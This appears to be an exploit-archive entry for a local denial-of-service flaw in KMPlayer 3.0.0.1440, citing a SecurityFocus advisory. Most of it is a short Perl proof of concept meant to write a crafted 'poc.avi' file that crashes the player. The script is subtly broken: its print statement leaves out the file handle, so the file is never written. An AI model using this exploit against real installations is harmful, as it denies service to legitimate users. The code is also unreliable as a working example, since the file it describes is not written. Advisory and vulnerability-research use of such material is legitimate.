source: https://www.securityfocus.com/bid/56322/info KMPlayer is prone to a local denial-of-service vulnerability. An local attacker can exploit this issue to crash the affected application, denying service to legitimate users. KMPlayer 3.0.0.1440 is vulnerable; other versions may also be affected. #!/usr/bin/perl #Title : KmPlayer v3.0.0.1440 Local Crash PoC #Discovered By : Am!r #Home : http://IrIsT.Ir/forum/ #tested : XP #TNX : Alireza , C0dex , B3hz4d my $po="\x46\x02\x00\x00"; open(C, ">:raw", "poc.avi"); print $po; close(C);